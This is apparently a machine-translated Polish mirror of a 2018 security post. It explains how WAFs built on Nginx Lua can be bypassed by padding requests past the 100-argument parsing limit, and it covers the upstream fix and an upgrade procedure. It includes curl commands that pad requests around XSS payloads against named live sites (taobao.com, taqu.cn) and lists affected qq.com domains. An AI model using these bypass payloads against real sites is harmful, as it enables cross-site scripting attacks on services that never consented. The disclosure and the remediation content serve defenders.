Ten artykuł jest lustrzanym artykułem tłumaczenia maszynowego, kliknij tutaj, aby przejść do oryginalnego artykułu.

Widok: 16994|Odpowiedź: 1

[Luka bezpieczeństwa] Podatność na firewall aplikacji WAF firmy Nginx Lua

[Skopiuj link]
Opublikowano 27.04.2018 09:23:29 | | | |
Gdy ginx Lua uzyska parametry, pierwsze 100 wartości parametrów jest domyślnie uzyskiwanych, a pozostałe są odrzucane.
Dlatego WAF-y korzystające z Nginx Lua będą domyślnie omijane.
20 kwietnia 18 kwietnia ktoś z pasażera ochrony już ujawnił ten szczegół, więc opublikowałem także ten artykuł 233.



Zasada

Oficjalny opis jest następujący

Należy zauważyć, że domyślnie analizuje się maksymalnie 100 argumentów żądań (w tym te o tej samej nazwie), a dodatkowe argumenty żądań są cicho odrzucane, aby zapobiec potencjalnemu wypadkowi Ataki typu denial of service.

Domyślnie można parsować do 100 parametrów żądań (w tym tych o tej samej nazwie), a dodatkowe parametry żądań są automatycznie usuwane, aby zapobiec potencjalnym atakom typu denial-of-service.

Wyszukaj 100, mniej więcej następująca metoda ma ten sam problem.
ngx.req.get_uri_args Pobierz parametry żądania dla get
ngx.req.get_post_args Pobierz parametry żądania dla posta
ngx.req.get_headers Pobierz nagłówek żądania
ngx.decode_args Odkoduj adres URL parametrów
ngx.resp.get_headers Pobierz nagłówek odpowiedzi
W kodzie źródłowym modułu lua-nginx widzimy, że kod źródłowy ustawia domyślny maksymalny parametr żądania i nagłówek na 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Jednak oficjalny oferuje metodę modyfikacji wartości domyślnej, na przykład ngx.req.get_uri_args (200), aby uzyskać pierwsze 200 parametrów żądania.

Test

Jeśli parametr żądania wynosi 101, ostatni parametr żądania nie może zostać uzyskany.

curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Jeśli zmniejszysz jeden parametr żądania, możesz otrzymać ostatni parametr żądania, gdy parametry żądania wynoszą dokładnie 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
O: ZZBG
Mam cię, zbg

Należy zauważyć, że domyślnie to faktycznie 100 parametrów żądania, a parametry żądania po 100 parametrach żądania zostaną odrzucone.

Jest dziwna rzecz, że w powyższym powrocie, w środku przybliżonej pozycji, końcowy parametr zbg jest już wyjściem. Moim zdaniem wynik nie jest w kolejności, ale kolejność parsowania odpowiada kolejności przesyłania parametrów, ponieważ gdy wartość 101. parametru to zbg, nie można jej uzyskać.

Dołączony jest skrypt pythona, który generuje parametry:

# Autor: ZBG
# Poczta:zbg@zbg.org
# Data: 2018-04-03

a = ''
dla i w zakresie (200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
print a
naprawa
Oczywiście nie zaleca się modyfikowania wartości MAX parametru w kodzie źródłowym. Bo bez względu na to, jak dużą wartość ustawisz, można ją obejść. Zaleca się ustawienie go według parametrów metody.
Jeśli uda Ci się uzyskać długość parametru żądania i użyć metody takiej jak ngx.req.get_uri_args (lenth), czy to nie wystarczy?
Czytając dokumentację, okazało się, że nie udało się uzyskać liczby żądanych parametrów. Jednak jeśli ustawisz lenth na 0, możesz uzyskać wszystkie żądane parametry.

Ten argument można ustawić na zero, aby usunąć limit i przetworzyć wszystkie otrzymane argumenty żądania.
Local args = ngx.req.get_uri_args(0)

Jednak zdecydowanie odradza się ustawianie go na 0, aby zapobiec potencjalnym atakom typu denial-of-service.

Zdejmowanie max_args jest zdecydowanie odradzane.

Właściwie zastanawiałem się, dlaczego ustawienie 0 prowadzi do potencjalnego ataku typu denial of service, a żądanie i tak trafia do nginx, niezależnie od liczby parametrów w get lub post.

Zgłosiłem sprawę urzędnikowi, a autor powiedział, że ngx.req.get_uri_args (0) zwiększy zużycie CPU i pamięci przez serwer. Później przetestowałem 200 parametrów i użyłem Nginx+php, aby uzyskać 200. parametr, co oznacza, że Nginx domyślnie nie ogranicza liczby żądanych parametrów. Wtedy problem może leżeć w samym Nginx Lua,Gdy Nginx Lua używa ngx.req.get_uri_args(0) do pobierania wszystkich parametrów i iteruje przez nie, gdy jest dużo żądanych parametrów, zużywa więcej CPU i pamięci, a ostatecznie prowadzi nawet do odmowy usługi

W dniu 04/03/2018 Bypass007 oficjalnie zgłosił PROBLEM dotyczący tej poprawki błędu i ostatecznie oficjalnie dodał nową funkcję opartą na tym PROBLEMIE 2018-04-21. Adres rekordu commitu tej funkcji: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Opis funkcji jest następujący: W wersjach po v0.10.13 (w tym v0.10.13), gdy limit liczby żądań zostanie przekroczony, drugą wartością zwrotną jest skrócony ciąg tekstów.
Od wersji 0.10.13, gdy limit zostanie przekroczony, zwraca się druga wartość, czyli ciąg "ścięty".
Jednak opcjonalny argument funkcji max_args może być użyty do nadpisania tego ograniczenia:
lokalne ARG, err = ngx.req.get_uri_args(10)
jeśli err == "obcięte", to
     -- można zdecydować się zignorować lub odrzucić obecną prośbę tutaj
koniec

Więc pojawiła się ostateczna poprawka.

Aktualizacja lua-nginx-module do wersji 0.10.13 lub nowszej

Następnie ogranicz łączną liczbę parametrów, a jeśli chodzi o to, jak bardzo jest ograniczona, osobiście uważam, że 100 wystarcza

OpenResty aktualizuje moduł lua-nginx-module

Nie znalazłem żadnych informacji o module aktualizacji OpenResty, więc samodzielnie wymyśliłem, jak ulepszyć moduł lua-nginx.

Kroki są następujące:

Pobierz odpowiadającą wersję modułu lua-nginx-module
Wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
rozpakować
tar -zxvf v0.10.13
Usuń poprzednią wersję lua-nginx-module
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Skopiuj nowy moduł lua-nginx.
mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Dla kompilacji należy odnieść się do parametrów kompilacji VeryNginx


Obejście przypadku

Należy wyjaśnić, że w kolejnych WAF-ach nie jestem pewien, czy używać Nginx Lua, ale można je ominąć przez łączną liczbę parametrów.

Ali WAF

Ten WAF jest WAF używany wewnętrznie przez Alibabę, czyli WAF używany przez nazwy domen takie jak *.taobao.com, i nie był testowany dla chmurowego WAF sprzedawanego przez Alibaba Cloud.
Najpierw poproś o ładunek POST XSS, aby go przechwycić.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Dzięki Fuzz odkryto, że gdy liczba parametrów zostanie zwiększona do 478 za pomocą XSS Payload, nie jest już przechwytywana, a strona internetowa może być dostępna normalnie.
curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Testowany WAF to WAF sprzedawany przez UCloud.
Gdy parametr żądania zostanie zwiększony do 138, nie będzie już blokowany, a strona internetowa będzie dostępna normalnie.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Ten WAF jest WAF używany wewnętrznie przez Tencent, czyli WAF używany przez nazwy domen takie jak *.qq.com, i nie był testowany dla chmurowego WAF sprzedawanego przez Tencent Cloud.
Gdy parametr żądania wzrośnie do 4000, nie będzie już blokowany, a strona będzie dostępna normalnie. Losowe testy następujących dziedzin są objęte wpływem.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

streszczenie

To pytanie jest bardzo proste i możesz je znaleźć, uważnie czytając dokument. Ale dlaczego się nie dowiedziałem? Myślę, że to wciąż za mało myślenia.
Bibliografia
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Poprzedni:Ucz się Photoshopa od podstaw, 18 lekcji od początkującego do boga
Następny:Mocne i słabe strony Lua i Luajita
Zrzeczenie się:
Całe oprogramowanie, materiały programistyczne lub artykuły publikowane przez Code Farmer Network służą wyłącznie celom edukacyjnym i badawczym; Powyższe treści nie mogą być wykorzystywane do celów komercyjnych ani nielegalnych, w przeciwnym razie użytkownicy ponoszą wszelkie konsekwencje. Informacje na tej stronie pochodzą z Internetu, a spory dotyczące praw autorskich nie mają z nią nic wspólnego. Musisz całkowicie usunąć powyższą zawartość z komputera w ciągu 24 godzin od pobrania. Jeśli spodoba Ci się program, wspieraj oryginalne oprogramowanie, kup rejestrację i korzystaj z lepszych, autentycznych usług. W przypadku naruszenia praw prosimy o kontakt mailowy.

Mail To:help@itsvse.com